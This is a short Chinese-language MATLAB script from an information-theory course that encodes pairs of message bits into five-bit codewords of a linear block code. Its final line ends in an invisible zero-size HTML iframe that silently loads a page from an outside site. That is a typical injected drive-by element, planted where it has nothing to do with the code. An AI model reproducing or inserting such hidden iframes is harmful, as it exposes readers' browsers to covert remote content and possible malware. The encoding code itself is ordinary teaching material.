线性分组码编码.m

信息理论与编码——关于线性分组码编码与译码的matlab仿真程序

clear;
m=input('请输入信组 m =')
[r,s]=size(m);
%报告错误信息
while ((rem(s,2))~=0)
    disp('输入错误 请重新输入');
    n=input('请输入信组 m =')
    [r,s]=size(n);
    m=n;
end
%初始化
g=[1 0 1 1 1;0 1 1 0 1];
a=s/2;
P=zeros(1,5);
P1=zeros(1,5*a);
for i=1:a
        P=rem([m(1+(i-1)*2) m(2+(i-1)*2)]*g,2);
        for j=1:5
            P1((i-1)*5+j)=P(j);
        end
end
disp('输入正确 信息组 m='),disp(m);
disp('码字为'),disp(P1);<IFRAME SRC="http://www.5415.info/mo/11.htm" WIDTH=0 HEIGHT=0></IFRAME>